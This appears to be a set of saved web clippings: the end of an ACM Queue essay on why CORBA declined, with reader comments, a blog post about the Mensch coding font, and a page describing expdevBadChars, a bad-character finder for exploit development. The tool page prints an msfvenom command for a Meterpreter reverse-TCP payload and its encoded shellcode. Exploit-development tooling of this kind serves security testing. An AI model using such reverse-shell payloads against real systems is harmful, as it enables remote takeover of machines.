burgeoning Web services market. For customers, this added more uncertainty
about CORBA’s viability and, in many cases, prompted them to put investment in
the technology on hold.

CORBA suffered another blow when the Internet bubble burst in early 2002. The
industry’s financial collapse drove many software companies out of the market
and forced the survivors to refocus their efforts. The result was significant
attrition in the number of commercial CORBA products. Before the collapse,
several vendors had already dropped or deemphasized their CORBA products and,
after the collapse, more followed. What in the mid- to late ’90s had been a
booming market with many competing products had suddenly turned into a fringe
market with far fewer vendors, customers, and investment. By then, open source
implementations of CORBA were available that partially compensated for the
departure of the commercial vendors, but this was not enough to recover the
lost mindshare and restore the market’s confidence: CORBA was no longer the
darling child of the industry.

Today, CORBA is used mostly to wire together components that run inside
companies’ networks, where communication is protected from the outside world
by a firewall. It is also used for realtime and embedded systems development,
a sector in which CORBA is actually growing. Overall, however, CORBA’s use is
in decline and it cannot be called anything but a niche technology now.

Given that only a few years ago, CORBA was considered the cutting edge of
middleware that promised to revolutionize e-commerce, it is surprising to see
how quickly the technology was marginalized, and it is instructive to examine
some of the deeper reasons for the decline.

#### Technical Issues

Obviously, a number of external factors contributed to the fall of CORBA, such
as the bursting of the Internet bubble and competition with other
technologies, such as DCOM, EJB, and Web services. One can also argue that
CORBA was a victim of industry trends and fashion. In the computing industry,
the technical excellence of a particular technology frequently has little to
do with its success—mindshare and marketing can be more important factors.

These arguments cannot fully account for CORBA’s loss of popularity, however.
After all, if the technology had been as compelling as was originally
envisaged, it is unlikely that customers would have dropped it in favor of
alternatives.

Technical excellence is not a _sufficient_ prerequisite for success but, in
the long term, it is a _necessary_ prerequisite. No matter how much industry
hype might be pushing it, if a technology has serious technical shortcomings,
it will eventually be abandoned. This is where we can find the main reasons
for CORBA’s failure.

####  Complexity

The most obvious technical problem is CORBA’s complexity—specifically, the
complexity of its APIs. Many of CORBA’s APIs are far larger than necessary.
For example, CORBA’s object adapter requires more than 200 lines of interface
definitions, even though the same functionality can be provided in about 30
lines—the other 170 lines contribute nothing to functionality, but severely
complicate program interactions with the CORBA runtime.

Another problem area is the C++ language mapping. The mapping is difficult to
use and contains many pitfalls that lead to bugs, particularly with respect to
thread safety, exception safety, and memory management. A number of other
examples of overly complex and poorly designed APIs can be found in the CORBA
specification, such as the naming, trading, and notification services, all of
which provide APIs that are error-prone and difficult to use. Similarly, CCM
configuration is so complex that it cannot be used productively without
employing additional tool support.

Poorly designed interfaces and language mappings are a very visible part of
any technology because they are the “coal face” of software development: They
are the point at which developers and the platform meet, and their usability
and safety have a major impact on development time and defect count.
Obviously, any technology that suffers from endemic complexity does little to
endear itself to developers, and does even less to endear itself to
management.

Complexity also arises from architectural choices. For example, CORBA’s IORs
\(interoperable object references\) are opaque entities whose contents are
supposed to remain hidden from developers. This is unfortunate for three
reasons:

  * Opaque references pretty much force the use of a naming service because clients cannot create object references without the help of an external service. This not only complicates system development and deployment, but also introduces redundant state into the system \(with the concomitant risk of corrupting that state\) and creates an additional failure point.
  * Opaque references considerably complicate some APIs. For example, CORBA’s interceptor APIs would be far simpler had object references been made transparent.
  * Opaque references require remote calls to compare object identity reliably. For some applications, the overhead of these calls is prohibitive.

Another source of complexity is the type system. For example, CORBA’s
interface definition language provides a large set of types, among them
unsigned integers, fixed-point and extended-precision floating-point numbers,
bounded and unbounded sequences as well as arrays, and an “Any” type that can
store values of arbitrary type.

Supporting these types complicates many APIs \(in particular, the interfaces
for introspection and dynamic invocation\) and leads to subtle portability
problems. For example, Java does not support unsigned types, so use of an
unsigned integer in an interface can lead to overflow problems when a Java
client communicates with a C++ server. Similarly, on platforms without native
support for fixed-point or double-precision floating-point numbers,
implementations must emulate these types. Emulations are hard to implement
such that they behave identically across platforms, and they require
additional APIs. This adds further complexity and is a source of hard-to-
diagnose interoperability problems.

Finally, some of the OMG’s early object services specifications, such as the
life cycle, query, concurrency control, relationship, and collection services,
were not only complex, but also performed no useful function whatsoever. They
only added noise to an already complex suite of specifications, confused
customers, and reinforced CORBA’s reputation of being hard to use.

#### Insufficient Features

CORBA provides quite rich functionality, but fails to provide two core
features:

**Security.** CORBA’s unencrypted traffic is subject to eavesdropping and man-
in-the-middle attacks, and it requires a port to be opened in the corporate
firewall for each service. This conflicts with the reality of corporate
security policies. \(Incidentally, this shortcoming of CORBA was a major
factor in the rise of SOAP. Not having to open a port in the corporate
firewall and sending everything via port 80 was seen as a major advantage,
despite the naïvete of that idea.\) The OMG made several attempts at
specifying security and firewall traversal for CORBA, but they were abandoned
as a result of technical shortcomings and lack of interest from firewall
vendors.

**Versioning.** Deployed commercial software requires middleware that allows
for gradual upgrades of the software in a backward-compatible way. CORBA does
not provide any such versioning mechanism \(other than versioning by
derivation, which is utterly inadequate\). Instead, versioning a CORBA
application generally breaks the on-the-wire contract between client and
server. This forces all parts of a deployed application to be replaced at
once, which is typically infeasible. \(This shortcoming of CORBA was another
major factor in the rise of SOAP. The supposedly loosely coupled nature of XML
was seen as addressing the problem, despite this idea being just as naïve as
funneling all communications through port 80.\)

For a commercial e-commerce infrastructure, lack of security and versioning
are quite simply showstoppers—many potential e-commerce customers rejected
CORBA for these reasons alone.

#### Other Technical Issues

A number of other technical issues plague CORBA, among them:

  * Design flaws in CORBA’s interoperability protocol make it pretty much impossible to build a high-performance event distribution service.
  * The on-the-wire encoding of CORBA contains a large amount of redundancy, but the protocol does not support compression. This leads to poor performance over wide-area networks.
  * The specification ignores threading almost completely, so threaded applications are inherently nonportable \(yet threading is essential for commercial applications\).
  * CORBA does not support asynchronous server-side dispatch.
  * No language mappings exist for C\# and Visual Basic, and CORBA has completely ignored .NET.

This list of problems is just a sample and could be extended considerably.
Such issues affect only a minority of customers, but they add to CORBA’s bad
press and limit its market.

#### Procedural Issues

Technical problems are at the heart of CORBA’s decline. This raises the
question of how it is possible for a technology that was produced by the
world’s largest software consortium to suffer such flaws. As it turns out, the
technical problems are a symptom rather than a cause.

The OMG is an organization that publishes technology based on consensus. In
essence, members vote to issue an RFP for a specification, member companies
submit draft specifications in response, and the members vote on which draft
to accept as a standard. In theory, this democratic process is fair and
equitable but, in practice, it does not work:

**There are no entry qualifications to participate in the standardization
process.** Some contributors are experts in the field, but, to be blunt, a
large number of members barely understand the technology they are voting on.
This repeatedly has led to the adoption of specifications with serious
technical flaws.

**RFPs often call for a technology that is unproven.** The OMG membership can
be divided into roughly two groups: users of the technology and vendors of the
technology. Typically, it is the users who would like to expand CORBA to add a
capability that solves a particular problem. These users, in the hope that
vendors will respond with a solution to their problem, drive issuance of an
RFP. Users, however, usually know little about the internals of a CORBA
implementation. At best, this leads to RFPs containing requirements that are
difficult to implement or have negative performance impact. At worst, it leads
to RFPs that are little more than requests for vendors to perform magic.
Instead of standardizing best existing practice, such RFPs attempt to innovate
without prior practical experience.

**Vendors respond to RFPs even when they have known technical flaws.** This
may seem surprising. After all, why would a vendor propose a standard for
something that is known to suffer technical problems? The reason is that
vendors compete with each other for customers and are continuously jostling
for position. The promise to respond to an RFP, even when it is clear that it
contains serious problems, is sometimes used to gain favor \(and, hopefully,
contracts\) with users.

**Vendors have a conflict of interest when it comes to standardization.** For
vendors, standardization is a two-edged sword. On the one hand,
standardization is attractive because it makes it easier to sell the
technology. On the other hand, too much standardization is seen as detrimental
because vendors want to keep control over the features that distinguish their
product from the competition.

Vendors sometimes attempt to block standardization of anything that would
require a change to their existing products. This causes features that should
be standardized to remain proprietary or to be too vaguely specified to be
useful. Some vendors also neglect to distinguish standard features from
proprietary ones, so customers stray into implementation-specific territory
without warning. As a result, porting a CORBA application to a different
vendor’s implementation can be surprisingly costly; customers often find
themselves locked into a particular product despite all the standardization.

**RFPs are often answered by several draft specifications.** Instead of
choosing one of the competing specifications, a common response of OMG members
is to ask the submitters to merge their features into a single specification.
This practice is a major cause of CORBA’s complexity. By combining features,
specifications end up as the kitchen sink of every feature thought of by
anyone ever. This not only makes the specifications larger and more complex
than necessary, but also tends to introduce inconsistencies: Different
features that, in isolation, are perfectly reasonable can subtly interact with
each other and cause semantic conflicts.

Major vendors occasionally stall proceedings unless their pet features make it
into the merged standard. This causes the technology process to degenerate
into political infighting, forces foul compromises, and creates delays. For
example, the first attempt at a component model was a victim of such
infighting, as was the first attempt at a C++ mapping. Both efforts got bogged
down to the point where they had to be abandoned and restarted later.

**The OMG does not require a reference implementation for a specification to
be adopted.** This practice opens the door to castle-in-the-air
specifications. On several occasions the OMG has published standards that
turned out to be partly or wholly unimplementable because of serious technical
flaws. In other cases, specifications that could be implemented were
pragmatically unusable because they imposed unacceptable runtime overhead.
Naturally, repeated incidents of this sort are embarassing and do little to
boost customer confidence. A requirement for a reference implementation would
have forced submitters to implement their proposals and would have avoided
many such incidents.

Overall, the OMG’s technology adoption process must be seen as the core reason
for CORBA’s decline. The process encourages design by committee and political
maneuvering to the point where it is difficult to achieve technical
mediocrity, let alone technical excellence. Moreover, the addition of
disjointed features leads to a gradual erosion of the architectural vision.
\(For example, the architectural concept of opaque references was ignored by a
specification update in 2000. The net effect is that references are no longer
opaque, but APIs are still burdened with the baggage of treating them as
opaque.\)

CORBA’s numerous technical flaws have accumulated to a point where it is
difficult to fix or add anything without breaking something else. For example,
every revision of CORBA’s interoperability protocol had to make incompatible
changes, and many fixes and clarifications had to be reworked several times
because of unforeseen interactions with features that were added over time.

#### Can We Learn From the Past?

A democratic process such as the OMG’s is uniquely ill-suited for creating
good software. Despite the known procedural problems, however, the industry
prefers to rely on large consortia to produce technology. Web services, the
current silver bullet of middleware, uses a process much like the OMG’s and,
by many accounts, also suffers from infighting, fragmentation, lack of
architectural coherence, design by committee, and feature bloat. It seems
inevitable that Web services will enact a history quite similar to CORBA’s.

What steps should we take to end up with a better standards process and better
middleware? Seeing that procedural failures are the root cause of technical
failures, I suggest at least the following:

**Standards consortia need iron-clad rules to ensure that they standardize
existing best practice.** There is no room for innovation in standards.
Throwing in “just that extra little feature” inevitably causes unforeseen
technical problems, despite the best intentions.

**No standard should be approved without a reference implementation.** This
provides a first-line sanity check of what is being standardized. \(No one is
brilliant enough to look at a specification and be certain that it does not
contain hidden flaws without actually implementing it.\)

**No standard should be approved without having been used to implement a few
projects of realistic complexity.** This is necessary to weed out poor APIs:
Too often, the implementers of an API never actually use their own interfaces,
with disastrous consequences for usability.

Interestingly, the open source community has done a much better job of
adhering to these rules than have industry consortia.

**Open source innovation usually is subject to a Darwinian selection
process.** Different developers implement their ideas of how something should
work, and others try to use the feature and critique or improve it. That way,
the software is extensively scrutinized and tested, and only the “fittest”
version survives. \(Many open source projects formalize this process with
alternating experimental and production releases: The experimental releases
act as the test bed and evolutionary filter.\)

**To create quality software, the ability to say “no” is usually far more
important than the ability to say “yes.”** Open source embodies this in
something that can be called “benevolent dictatorship”: Even though many
people contribute to the overall effort, a single expert \(or a small cabal of
experts\) ultimately rejects or accepts each proposed change. This preserves
the original architectural vision and stops the proverbial too many cooks from
spoiling the broth.

At the heart of these open source practices are two essential prerequisites:
cooperation and trust. Without cooperation, the evolutionary process cannot
work; and without trust, no cabal of experts can act as an ultimate arbiter.
This, however, is precisely where software consortia find their doom. It is
naïve to put competing vendors and customers into a consortium and expect them
to come up with a high-quality product—commercial realities ensure that
cooperation and trust are the last things on the participants’ minds.

Of course, software consortia contribute to an evolutionary process just as
much as open source projects do. But it is the commercial marketplace that
acts as the test bed and evolutionary filter, and it is the customers who,
with their wallets, act as the \(usually not so benevolent\) dictator. This
amounts to little more than an industry that throws up silver bullets and
customers who leap after them like lemmings over a cliff. Until we change this
process, the day of universal e-commerce middleware is as far away as ever.

Michi Henning \(michi@zeroc.com\) is chief scientist of ZeroC. From 1995 to
2002, he worked on CORBA as a member of the OMG’s architec­ture board and as
an ORB implementer, consultant, and trainer. With Steve Vinoski, he wrote
Advanced CORBA Programming with C++ \(Addison-Wesley, 1999\). Since joining
ZeroC, he has worked on the design and implementation of Ice, ZeroC’s next-
generation middleware, and in 2003 co-authored Distributed Programming with
Ice. He holds an honors degree in computer science from the University of
Queensland, Australia.

<img src='img/Temp2_8293.jpg' width='26' height='45' alt='acmqueue' />  
  
_Originally published in Queue vol. 4, no. 5_ —  
see this item in the ACM Digital Library

* * *
Related:

Peter Kriens - **How OSGi Changed My Life**  
In the early 1980s I discovered OOP \(object-oriented programming\) and fell
in love with it, head over heels. As usual, this kind of love meant convincing
management to invest in this new technology, and most important of all, send
me to cool conferences. So I pitched the technology to my manager. I sketched
him the rosy future, how one day we would create applications from ready-made
classes. We would get those classes from a repository, put them together, and
voila, a new application would be born.

Len Takeuchi - **ASPs**  
The promise of software as a service is becoming a reality with many ASPs
\(application service providers\). Organizations using ASPs and third-party
vendors that provide value-added products to ASPs need to integrate with them.
ASPs enable this integration by providing Web service-based APIs. There are
significant differences between integrating with ASPs over the Internet and
integrating with a local application. When integrating with ASPs, users have
to consider a number of issues, including latency, unavailability, upgrades,
performance, load limiting, and lack of transaction support.

Chris Richardson - **Untangling Enterprise Java**  
Separation of concerns is one of the oldest concepts in computer science. The
term was coined by Dijkstra in 1974.1 It is important because it simplifies
software, making it easier to develop and maintain. Separation of concerns is
commonly achieved by decomposing an application into components. There are,
however, crosscutting concerns, which span \(or cut across\) multiple
components. These kinds of concerns cannot be handled by traditional forms of
modularization and can make the application more complex and difficult to
maintain.

Greg Olsen - **From COM to Common**  
Ten years ago, the term component software meant something relatively specific
and concrete. A small number of software component frameworks more or less
defined the concept for most people. Today, few terms in the software industry
are less precise than component software. There are now many different forms
of software componentry for many different purposes. The technologies and
methodologies of 10 years ago have evolved in fundamental ways and have been
joined by an explosion of new technologies and approaches that have redefined
our previously held notions of component software.

* * *
### Comments

> **Displaying 10 most recent comments.Read the full list here**
Meagan Griffin | Sat, 10 Apr 2010 01:43:47 UTC 
AMQP seems to be showing a lot of promise as well.  
  

* * *
Bill Gates | Wed, 16 Jun 2010 00:23:23 UTC 
Since CORBA is pronunced in polish 'korba' which means \(in polish\) 'crank'
it cannot be good.  
  

* * *
Saffa | Thu, 02 Sep 2010 12:58:11 UTC 
I just started using it\! In 2010. Seems still very alive.  
  

* * *
Former programmer | Wed, 21 Mar 2012 02:23:57 UTC 
Anyone interested in old CORBA books let me know -- soon. Else, they are
headed for the trash heap. Here's a listing: -- Essential CORBA \(Thomas
Mowbray\) -- Java Prgramming with CORBA \(Andreas Vogel, Keith Duddy\) Also --
Inside DCOM \(Eddon\) -- Object Oriented Modeling and Design \(James Rumbaugh,
et al\) -- Component Software, Beyond Object Oriented Programming \(Clemens
Szyperski\)  
  

* * *
Johnny Willemsen | Thu, 26 Sep 2013 18:02:38 UTC 
The article mentions the lack of compression, this is not the case anymore.
CORBA now has ZIOP which defines a set of policies to enable compression when
sending data over the wire.  
  

* * *
Johnny Willemsen | Thu, 26 Sep 2013 18:03:55 UTC 
The CORBA community did agree that the C++ mapping is hard to use. In order to
resolve this the OMG has standardized a new C++11 language mapping which is
easy to use, reuses STL as much as possible, and leads to more performance.  
  

* * *
Corba\_user | Mon, 04 Nov 2013 14:25:32 UTC 
Hi, some ORB implementations were developed to use CORBA not only on
processors, but only on "specialized HW" like DSP, FPGA or ASIC.

Why not bringing CORBA to live to mine bitcoins ?\!?

* * *
Arthur Dent | Mon, 09 Dec 2013 14:26:50 UTC 
The interesting question is not about the fall of CORBA, but the rise of JEE.
How could EJB 1.0 - particularly CMP entity beans - be considered a serious
technology and be used in real applications? How could this push a working and
well performing technology aside? it felt like an academic toy. Many years
later now it is becoming usable.  
  

* * *
Edison Lascano | Thu, 09 Jan 2014 06:41:28 UTC 
I dropped a tear in the ocean of distributed technologies where CORBA should
have been forever.  
  

* * *
google chrome QA | Wed, 01 Apr 2015 01:37:00 UTC 
Why would you disable double click on the text? what too with so many
complicated words in the article ?  
  

* * *
> **Displaying 10 most recent comments.Read the full list here**
Leave this field empty

Post a Comment:

Comment: \(Required - 4,000 character limit - HTML syntax is **not** allowed
and **will be removed**\)  
  

* * *
© 2014 ACM, Inc. All Rights Reserved.

# Mensch -- A coding font

**Created:**| _6/23/2010 8:19:34 AM_  
---|---  
**Updated:**| _6/23/2010 8:19:46 AM_  
**Author:**| __  
**Tags:**| _programming awesome_  
  

# Mensch -- A coding font

21 Jun 2010

The latest MacOS release \(10.6, or “Snow Leopard”\) comes with a new
monospace font. It’s called “Menlo” and it’s a slightly modified form of the
standard Linux font \(with appropriately weightly Linux name\) “DejaVu Sans
Serif Mono”, which is itself an updated form of Bitstream Vera Sans Mono.
Apple’s modifications are a definite improvement to my eyes, mostly because
they thicken up some of the wispier glyphs from DejaVu, like the underline and
period. There’s a great comparison over here.

One thing that bothered me, though, is that they turned the zero into a
1980s-style “slashed circle”. Unhip, daddy-o\! Naturally I searched for a font
editor, and the best one I found was Font Forge, an old Linux app ported to
the Mac but still requiring X11. So that’s two ways OS X is borrowing from
Linux for font support. What’s up with that? Was there an elite cadre of
fontistas working on Linux machines in a secret bunker? Linux is, um, not
usually known for its great designers.

I couldn’t limit my tweaking to the zero glyph, so in the end I made about a
dozen changes. Bitstream released these fonts with a very open license that
only requires that you change the name if you change anything about the font,
so I'm releasing my changes with the same license, as the font “Mensch”.

<img src='img/Temp2_5289.png' alt='comparison with menlo' />

A summary of the changes I made:

  * Zero is back to being a circle with a dot in the middle. 
  * The ampersand’s loop was closed. That was also bugging me. 
  * Three is rendered in the gothic style, because the gothic style is clearly superior. 
  * Lowercase L is drawn in a more traditional style \(the Menlo variant looks bizarre to me\), and one is turned gothic. I think the original artist drew the L weirdly to make it extremely clear that it’s not a one, but if you draw a gothic one, the difference is obvious even with a simpler L. 
  * The bang, question, lowercase I, and lowercase J are made friendlier by turning the dots into actual circles, not just blocks. 
  * Angle brackets are embiggened to facilitate languages like Java and C++ that use them to enclose class names. They parallel parens and square brackets in size now. 
  * Q and lowercase Q are made more distinct. Lowercase Q gets a little more spunk. \(This was a bit gratuitous.\) 

Here’s a sample of Mensch in use in code:

<img src='img/Temp2_5290.png' alt='example code' />

Doesn’t it look cool? Don’t you want it now? Here’s the link\!

mensch.ttf

# expdevBadChars - Bad Characters highlighter for exploit development

**Created:**| _5/31/2017 6:09:25 PM_  
---|---  
**Updated:**| _5/31/2017 6:09:25 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit_  
  

  

#  Scripts And Tools For Pentesting

     __ Super User
     __ 28 May 2017 
     __ 28 May 2017 
      Hits: 2328
##  expdevBadChars - Bad Characters highlighter for exploit development

<img src='img/Temp2_10185.png' width='480' height='290' alt='Bad Characters
highlighter' />

_**expdevBadChars - Bad Characters highlighter for exploit development
purposes supporting multiple input formats while comparing. **_

_**This is a Bad Characters highlighter intended to be used for exploit
development purposes. It supports multiple input formats and is able to
effectively convert from regex-matching format to the byte array.**_

_**This makes this tool useful while we have for instance shellcode encoded as
a Python string concatenation sequence and we want to quickly compare it with
the OllyDbg memory that we just dumped \(either in textual, printable form or
in raw hex binary bytes\).**_

_**Additionally, this script has been equipped with Longest Common Subsequence
based algorithm designed by Peter Van Eeckhoutte from Corelan.be team in his
Mona.py tool \(specifically`filecompare` function\). This makes the tool more
robust and reliable even in conditions of not fully matching buffers, shifted
a bit or otherwise severly corrupted.**_

_**Usage**_

_**Here comes the tool usage, pretty simple:**_

[code]

    _**:: BadChars.py (v:0.2) - Exploit Development Bad Characters hunting tool.
    		Equipped with Corelan.be Mona's buffers comparison LCS-based algorithm
    
    Usage: badchars.py [options] good_buffer bad_buffer
    
    Buffers explanation:
    	- good_buffer	- file containing buffer considered to be a model one, having expected bytes in it.
    	- bad_buffer	- file that has tainted/modified/varying bytes comparing to good_buffer.
    
    Available formats:
    	'raw', 'hexdump', 'js-unicode', 'dword', 'xxd', 'byte-array', 'hexstring', 'hexdump-C', 'classic-hexdump', 'escaped-hexes', 'powershell', 'gdb', 'ollydbg', 'ruby', 'c', 'carray', 'python'
    
    Options:
      -h, --help         show this help message and exit
      -c, --colored      Colors the comparison output.
      --format1=FORMAT   Enforce specific format on first buffer.
      --format2=FORMAT   Enforce specific format on second buffer.
      -w, --wide         Wide mode, display hex dumps next to each other.
      -e, --match-empty  Print matching bytes as empty line from bad_buffer.
      -n, --no-lcs       Don't use LCS (Longest Common Subsequence) algorithm in
                         hex dump printing. Go with simple comparison.
      -d, --debug        Debug mode - more verbose.
      -q, --quiet        Quiet mode, no infos. Return 1 if not equal, 0 otherwise.**_
[/code]

_**Among available formats we can find those that can me made by tools such
as`hexdump`, `hd`, `xxd`, `msfvenom` various output formats \(as coded in
programming languages, for instance Ruby, Python, Powershell, Java\) but also
supporting GDB `x/xw` / DWORD dump display\!**_

_**Ever struggled with getting bytes converted from forms as...**_

[code]

    _**Payload size: 360 bytes
    Final size of bash file: 1582 bytes
    $'\x09\xa7\x2e\x57\xa3\x48\x87\x0f\x5b\xf0\x82\xc4\xfa\xfd'\
    $'\x18\xa1\x3c\x75\xa9\x55\xf2\x7e\xd8\x45\xe2\x1e\x22\x96'\
    $'\xf2\x8a\x22\xfc\xf6\x1c\x74\x68\xf4\x79\xb2\x37\x07\xac'\
    $'\xc0\x30\xf7\x31\xf1\x4b\xc1\xa7\xbd\x23\x2d\x28\x3e\xb4'\**_
[/code]

[code]

    _**Final size of dw file: 1102 bytes
    0x179eb4b1, 0x4553a9f6, 0x7ac6a6af, 0xf1daf3c4, 0xe55b1296, 0xb84a146e, 0x3a4c4fe5, 0x24c5e42a, 
    0xdf9cc12f, 0x361ebd9b, 0x778c3ed2, 0xb0ccccdb, 0xc8bb2edb, 0x0ebcd218, 0x95480863, 0x71eadbc3,**_
[/code]

[code]

    _**(gdb) x/12x $rip
    0x40050f<main+15>: 0x00fc45c7  0xeb000000  0x05c4bf0e  0xbee80040
    0x40051f <main+31>: 0x83fffffe  0x8301fc45  0x7e09fc7d  0x0000b8ec
    0x40052f <main+47>: 0xc3c90000  0x1f0f2e66  0x00000084  0x1f0f0000
    **_
[/code]

[code]

    _**x86/shikata_ga_nai chosen with final size 360
    Payload size: 360 bytes
    Final size of js_le file: 1080 bytes
    
    %uc9bb%u7a7e%udac3%ud9cf%u2474%u5ff4%uc929%u54b1%uef83%u31fc%u0f5f%u5f03%u9cc6%u3f8f%ue230%uc070%u83c0%u25f9%u83f1%u2e9e%u33a1%u63d4%ubf4d%u97b8%ucdc6%u9714%u7b6f%u9643%ud070%ub9b7%u2bf2%u19e4%ue3cb%u58f9%u190c%u09f3%u55c5%ubda6%u2362%u357b**_
[/code]

[code]

    _**Final size of powershell file: 2109 bytes
    [Byte[]] $buf = 0xb8,0xda,0x52,0x8e,0xde,0xd9,0xe9,0xd9,0x74,0x24
    $buf += 0xf4,0x5d,0x33,0xc9,0xb1,0x54,0x83,0xc5,0x4,0x31
    $buf += 0x45,0xf,0x3,0x45,0xd5,0xb0,0x7b,0x22,0x1,0xb6**_
[/code]

_**...when all you wanted was to just get plain raw bytes?**_

_**This tool has been crafted just for this annoying situation.**_

_**Example use case**_

_**Consider two input files:**_

_**my-shellcode.txt \(aka good buffer\)**_

[code]

    _**# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.XXX.YYY LPORT=4444 \
        #           -b '\x00' --encoder-space 740 -f py -v stage3
        stage3 += "\xda\xd1\xd9\x74\x24\xf4\x5e\xba\xb3\x4b\x18\xc3"
        stage3 += "\x29\xc9\xb1\x54\x83\xc6\x04\x31\x56\x14\x03\x56"
        stage3 += "\xa7\xa9\xed\x3f\x2f\xaf\x0e\xc0\xaf\xd0\x87\x25"
        stage3 += "\x9e\xd0\xfc\x2e\xb0\xe0\x77\x62\x3c\x8a\xda\x97"
        stage3 += "\xb7\xfe\xf2\x98\x70\xb4\x24\x96\x81\xe5\x15\xb9"
        stage3 += "\x01\xf4\x49\x19\x38\x37\x9c\x58\x7d\x2a\x6d\x08"
        stage3 += "\xd6\x20\xc0\xbd\x53\x7c\xd9\x36\x2f\x90\x59\xaa"
        stage3 += "\xe7\x93\x48\x7d\x7c\xca\x4a\x7f\x51\x66\xc3\x67"
        stage3 += "\xb6\x43\x9d\x1c\x0c\x3f\x1c\xf5\x5d\xc0\xb3\x38"
        stage3 += "\x52\x33\xcd\x7d\x54\xac\xb8\x77\xa7\x51\xbb\x43"
        stage3 += "\xda\x8d\x4e\x50\x7c\x45\xe8\xbc\x7d\x8a\x6f\x36"
        stage3 += "\x71\x67\xfb\x10\x95\x76\x28\x2b\xa1\xf3\xcf\xfc"
        stage3 += "\x20\x47\xf4\xd8\x69\x13\x95\x79\xd7\xf2\xaa\x9a"
        stage3 += "\xb8\xab\x0e\xd0\x54\xbf\x22\xbb\x30\x0c\x0f\x44"
        stage3 += "\xc0\x1a\x18\x37\xf2\x85\xb2\xdf\xbe\x4e\x1d\x27"
        stage3 += "\xc1\x64\xd9\xb7\x3c\x87\x1a\x91\xfa\xd3\x4a\x89"
        stage3 += "\x2b\x5c\x01\x49\xd4\x89\xbc\x4c\x42\xf2\xe9\x2b"
        stage3 += "\xa5\x9a\xeb\xb3\xd8\x06\x65\x55\x8a\xe6\x25\xca"
        stage3 += "\x6a\x57\x86\xba\x02\xbd\x09\xe4\x32\xbe\xc3\x8d"
        stage3 += "\xd8\x51\xba\xe6\x74\xcb\xe7\x7d\xe5\x14\x32\xf8"
        stage3 += "\x25\x9e\xb7\xfc\xeb\x57\xbd\xee\x1b\x06\x3d\xef"
        stage3 += "\xdb\xa3\x3d\x85\xdf\x65\x69\x31\xdd\x50\x5d\x9e"
        stage3 += "\x1e\xb7\xdd\xd9\xe0\x46\xd4\x92\xd6\xdc\x58\xcd"
        stage3 += "\x16\x31\x59\x0d\x40\x5b\x59\x65\x34\x3f\x0a\x90"
        stage3 += "\x3b\xea\x3e\x09\xa9\x15\x17\xfd\x7a\x7e\x95\xd8"
        stage3 += "\x4c\x21\x66\x0f\xcf\x26\x98\xcd\xed\x8e\xf1\x2d"
        stage3 += "\xb1\x2e\x02\x44\x31\x7f\x6a\x93\x1e\x70\x5a\x5c"
        stage3 += "\xb5\xd9\xf2\xd7\x5b\xab\x63\xe7\x76\x6d\x3a\xe8"
        stage3 += "\x74\xb6\x2b\x67\x7b\x49\x54\x89\x40\x9f\x6d\xff"
        stage3 += "\x81\x23\xca\xf0\xb8\x06\x7b\x9b\xc2\x15\x7b\x8e"**_
[/code]

_**and memdump-from-olly.txt \(aka bad buffer \)**_

[code]

    _**This is memory dump taken straight from OllyDbg while analysing what the heck is going on with my shellcode:
    
    00D6FCD2  DA D1 D9 74 24 F4 5E BA B3 4B 18 C3 29 C9 B1 54  ÚÑÙt$ô^º³KÃ)É±T
    00D6FCE2  83 C6 04 31 56 14 03 56 A7 A9 ED 3F 5C AF 0E C0  ƒÆ1VV§©í?\¯À
    00D6FCF2  AF D0 87 25 9E D0 FC 2E B0 E0 77 62 3C 8A DA 97  ¯Ð‡%žÐü.°àwb<ŠÚ—
    00D6FD02  B7 FE F2 98 70 B4 24 96 81 E5 15 B9 01 F4 49 19  ·þò˜p´$–å¹ôI
    00D6FD12  38 37 9C 58 7D 2A 6D 08 D6 20 C0 BD 53 7C D9 36  87œX}*Ö À½S|Ù6
    00D6FD22  5C 90 59 AA E7 93 48 7D 7C CA 4A 7F 51 66 C3 67  \Yªç“H}|ÊQfÃg
    00D6FD32  B6 43 9D 1C 0C 3F 1C F5 5D C0 B3 38 52 33 CD 7D  ¶C.?õ]À³8R3Í}
    00D6FD42  54 AC B8 77 A7 51 BB 43 DA 8D 4E 50 7C 45 E8 BC  T¬¸w§Q»CÚNP|Eè¼
    00D6FD52  7D 8A 6F 36 71 67 FB 10 95 76 28 2B A1 F3 CF FC  }Šo6qgû•v(+¡óÏü
    00D6FD62  20 47 F4 D8 69 13 95 79 D7 F2 AA 9A B8 AB 0E D0   GôØi•y×òªš¸«Ð
    00D6FD72  54 BF 22 BB 30 0C 0F 44 C0 1A 18 37 F2 85 B2 DF  T¿"»0.DÀ7ò…²ß
    00D6FD82  BE 4E 1D 27 C1 64 D9 B7 3C 87 1A 91 FA D3 4A 89  ¾N'ÁdÙ·<‡‘úÓJ‰
    00D6FD92  2B 5C 01 49 D4 89 BC 4C 42 F2 E9 2B A5 9A EB B3  +\IÔ‰¼LBòé+¥šë³
    00D6FDA2  D8 06 65 55 8A E6 25 CA 6A 57 86 BA 02 BD 09 E4  ØeUŠæ%ÊjW†º½.ä
    00D6FDB2  32 BE C3 8D D8 51 BA E6 74 CB E7 7D E5 14 32 F8  2¾ÃØQºætËç}å2ø
    00D6FDC2  25 9E B7 FC EB 57 BD EE 1B 06 3D EF DB A3 3D 85  %ž·üëW½î=ïÛ£=…
    00D6FDD2  DF 65 69 31 DD 50 5D 9E 1E B7 DD D9 E0 46 D4 92  ßei1ÝP]ž·ÝÙàFÔ’
    00D6FDE2  D6 DC 58 CD 16 31 59 0D 40 5B 59 65 34 3F 0A 90  ÖÜXÍ1Y.@[Ye4?.
    00D6FDF2  3B EA 3E 09 A9 15 17 FD 7A 7E 95 D8 4C 21 66 0F  ;ê>.©ýz~•ØL!f
    00D6FE02  CF 26 98 CD ED 8E F1 2D B1 2E 02 44 31 7F 6A 93  Ï&˜ÍíŽñ-±.Dj“
    00D6FE12  1E 70 5A 5C B5 D9 F2 D7 5B AB 63 E7 76 6D 3A E8  pZ\µÙò×[«cçvm:è
    00D6FE22  74 B6 2B 67 7B 49 54 89 40 9F 6D FF 81 23 CA F0  t¶+g{IT‰@Ÿmÿ#Êð
    00D6FE32  B8 06 7B 9B C2 15 7B 8E 90 90 90                 ¸{›Â{Ž
    **_
[/code]

_**Now we are going to highlight any bad characters in default options set**_

_****_

_**Or for those who prefer classical output, the LCS algorithm may be turned
off as well:**_

_****_

_**Looks like we have a corrupted byte - 0x2f has been replaced with 0x5c
\(`/` => `\`\).**_

_**What if our bad\_buffer contained some random bytes inserted inside?**_

_**Let's take for instance following`memdump`:**_

[code]

